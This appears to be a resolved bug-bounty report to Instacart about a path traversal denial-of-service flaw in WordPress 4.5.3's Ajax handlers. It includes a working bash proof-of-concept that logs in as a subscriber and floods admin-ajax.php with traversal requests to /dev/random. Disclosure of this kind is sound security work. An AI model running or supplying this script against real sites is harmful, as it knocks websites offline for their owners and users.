WordPress Authentication Denial of Service
I
Instacart
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Reported by
clizsec
Vulnerability Details
Technical details and impact analysis
Hi,
I found out that you are using WordPress version 4.5.3.
Researchers found out 5 days ago, that this version has a vulnerability, a Path traversal in WordPress Core Ajax handlers.
_Intro_
WordPress is web software that can be used to create a website, blog, or app. A path traversal vulnerability exists in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site.
_Description_
Potentially this issue can be used to disclose information, provided that the target file contains a line with Version:. What is more important that it also allows for a denial of service condition as the logged in attacker can use this flaw to read up to 8 KB of data from /dev/random. Doing this repeatedly will deplete the entropy pool, which causes /dev/random to block; blocking the PHP scripts. Using a very simple script, it is possible for an authenticated user (Subscriber) to bring down a WordPress site. It is also possible to trigger this issue via Cross-Site Request Forgery as the nonce check is done too late in this case.
_PoC Script_
```
#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)
# login
curl --cookie-jar "$cookiejar" \
--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
"$target/wp-login.php" \
>/dev/null 2>&1
# exhaust apache
for i in `seq 1 1000`
do
curl --cookie "$cookiejar" \
--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
"$target/wp-admin/admin-ajax.php" \
>/dev/null 2>&1 &
done
rm "$cookiejar"
```
Link:
```
https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html
```
I hope that I helped you.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$100.00
Submitted
Weakness
Uncontrolled Resource Consumption